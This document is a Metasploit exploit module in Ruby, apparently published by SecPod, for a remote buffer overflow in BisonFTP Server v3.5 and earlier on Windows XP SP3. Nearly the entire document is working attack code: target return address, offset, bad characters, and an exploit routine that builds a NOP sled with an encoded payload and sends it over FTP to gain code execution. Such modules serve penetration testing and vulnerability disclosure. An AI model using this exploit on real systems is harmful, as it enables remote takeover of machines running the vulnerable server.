##############################################################################
#
# Title    : BisonFTP Server Remote Buffer Overflow Exploit
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Advisory : http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : BisonFTP Server <= v3.5
# Date     : 09/07/2011
#
###############################################################################
 
##
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'BisonFTP Server Remote Buffer Overflow Vulnerability',
            'Description'    => %q{
                        This module exploits a buffer overflow vulnerability
                        found in the BisonFTP Server <= v3.5.
            },
            'Author'         =>
                [
                    'localh0t',     # Initial PoC
                    'veerendragg @ SecPod', # Metasploit Module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1.0 $',
            'References'     =>
                [
                    [ 'BID', '49109'],
                    [ 'CVE', '1999-1510'],
                    [ 'URL', 'http://secpod.org/blog/?p=384'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/17649'],
                    [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space' => 388,
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3 EN',
                        {
                            'Ret' => 0x0040333f, # call edx from Bisonftp.exe
                            'Offset' => 1432
                        }
                    ],
                ],
            'DisclosureDate' => 'Aug 07 2011',
            'DefaultTarget' => 0))
    end
 
    def exploit
        connect
 
        print_status("Trying target #{target.name}...")
        print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
        sploit = rand_text_alpha(1028)                  ## Random Buffer
        sploit << "\x90" * 16                     ## Padding
        sploit << payload.encoded                 ## Encoded Payload
        sploit << "\x90" * (388 - payload.encoded.length)     ## More Nops
        sploit << [target.ret].pack('V')              ## Return Address
        sploit << rand_text_alpha(39)                 ## MOre Buffer
 
        print_status("Sending payload...")
        sock.put(sploit)
 
        handler
        disconnect
    end
 
end